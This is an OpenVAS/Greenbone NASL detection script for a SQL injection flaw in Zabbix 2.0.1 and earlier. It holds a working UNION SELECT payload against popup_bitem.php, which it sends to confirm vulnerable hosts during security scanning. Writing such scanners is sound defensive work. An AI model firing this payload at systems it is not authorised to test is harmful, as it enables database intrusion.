Zabbix <= 2.0.1 SQLi Vulnerability

# Copyright (C) 2012 Greenbone Networks GmbH
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-or-later
#
# This program is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License
# as published by the Free Software Foundation; either version 2
# of the License, or (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.

CPE = "cpe:/a:zabbix:zabbix";

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.103525");
  script_version("2022-02-23T09:58:00+0000");
  script_tag(name:"last_modification", value:"2022-02-23 09:58:00 +0000 (Wed, 23 Feb 2022)");
  script_tag(name:"creation_date", value:"2012-07-25 11:34:16 +0100 (Wed, 25 Jul 2012)");
  script_tag(name:"cvss_base", value:"7.5");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:P/A:P");

  script_tag(name:"qod_type", value:"remote_vul");

  script_tag(name:"solution_type", value:"VendorFix");

  script_name("Zabbix <= 2.0.1 SQLi Vulnerability");

  script_category(ACT_ATTACK);

  script_copyright("Copyright (C) 2012 Greenbone Networks GmbH");
  script_family("Web application abuses");
  script_dependencies("gb_zabbix_http_detect.nasl");
  script_require_ports("Services/www", 80);
  script_mandatory_keys("zabbix/http/detected");

  script_tag(name:"summary", value:"Zabbix is prone to an SQL injection (SQLi) vulnerability
  because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.");

  script_tag(name:"vuldetect", value:"Sends a crafted HTTP GET request and checks the response.");

  script_tag(name:"impact", value:"Exploiting this issue could allow an attacker to compromise the
  application, access or modify data, or exploit latent vulnerabilities in the underlying
  database.");
  script_tag(name:"affected", value:"Zabbix version 2.0.1 and prior.");

  script_tag(name:"solution", value:"Updates are available. Please see the references for more
  details.");

  script_xref(name:"URL", value:"https://support.zabbix.com/browse/ZBX-5348");

  exit(0);
}

include("host_details.inc");
include("http_func.inc");
include("http_keepalive.inc");

if( ! port = get_app_port( cpe:CPE, service:"www" ) )
  exit( 0 );

if( ! dir = get_app_location( cpe:CPE, port:port ) )
  exit( 0 );

if( dir == "/" )
  dir = "";

url = dir + '/popup_bitem.php?itemid=1+union+select+1,2,3,4,5,0x53514c2d496e6a656374696f6e2d54657374,7,8,9,10,11,12,13,14,15,16,17,18,19,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1%23&dstfrm=1';

if( http_vuln_check( port:port, url:url, pattern:"SQL-Injection-Test" ) ) {
  report = http_report_vuln_url( port:port, url:url );
  security_message( port:port, data:report );
  exit( 0 );
}

exit( 99 );